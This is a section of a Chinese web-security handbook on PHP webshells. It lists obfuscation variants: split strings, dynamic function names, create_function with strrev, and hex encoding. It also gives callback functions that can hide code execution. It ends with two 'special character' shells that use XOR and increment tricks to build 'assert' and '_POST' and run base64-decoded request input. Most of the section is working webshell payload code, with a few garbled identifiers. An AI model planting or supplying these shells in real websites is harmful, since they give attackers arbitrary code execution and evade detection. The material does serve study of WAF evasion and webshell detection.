5.1.8. WebShell

5.1.8.1. 常见变形

    • GLOBALS
      • eval($GLOBALS['_POST']['op']);
    • $_FILE
      • eval($_FILE['name']);
    • 拆分
      • assert(${"_PO"."ST"} ['sz']);
    • 动态函数执行
      • $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);
    • create_function
      • $function = createfunction('$code',strrev('lave').'('.strrev('TEG$').'["code"]);');$function();
  • preg_replace
  • rot13
  • base64
    • 进制转化
      • "\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"
    • 利用文件名
      • FILE

5.1.8.2. 字符串变形函数

  • ucwords
  • ucfirst
  • trim
  • substr_replace
  • substr
  • strtr
  • strtoupper
  • strtolower
  • strtok
  • str_rot13

5.1.8.3. 回调函数

  • call_user_func_array
  • call_user_func
  • array_filter
  • array_walk
  • array_map
  • registregister_shutdown_function
  • register_tick_function
  • filter_var
  • filter_var_array
  • uasort
  • uksort
  • array_reduce
  • array_walk
  • array_walk_recursive

5.1.8.4. 特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

  1. @$++;$=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$}[!$](${$_}[$]);

  1. $_=[];
  2. $_=@"$_"; // $_='Array';
  3. $_=$_['!'=='@']; // $_=$_[0];
  4. $___=$_; // A
  5. $__=$_;
  6. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
  7. $___.=$__; // S
  8. $___.=$__; // S
  9. $__=$_;
  10. $__++;$__++;$__++;$__++; // E
  11. $___.=$__;
  12. $__=$_;
  13. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
  14. $___.=$__;
  15. $__=$_;
  16. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
  17. $___.=$__;
  18. $____='_';
  19. $__=$_;
  20. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
  21. $____.=$__;
  22. $__=$_;
  23. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
  24. $____.=$__;
  25. $__=$_;
  26. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
  27. $____.=$__;
  28. $__=$_;
  29. $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
  30. $____.=$__;
  31.  
  32. $_=$$____;
  33. $___(base64_decode($_[_]));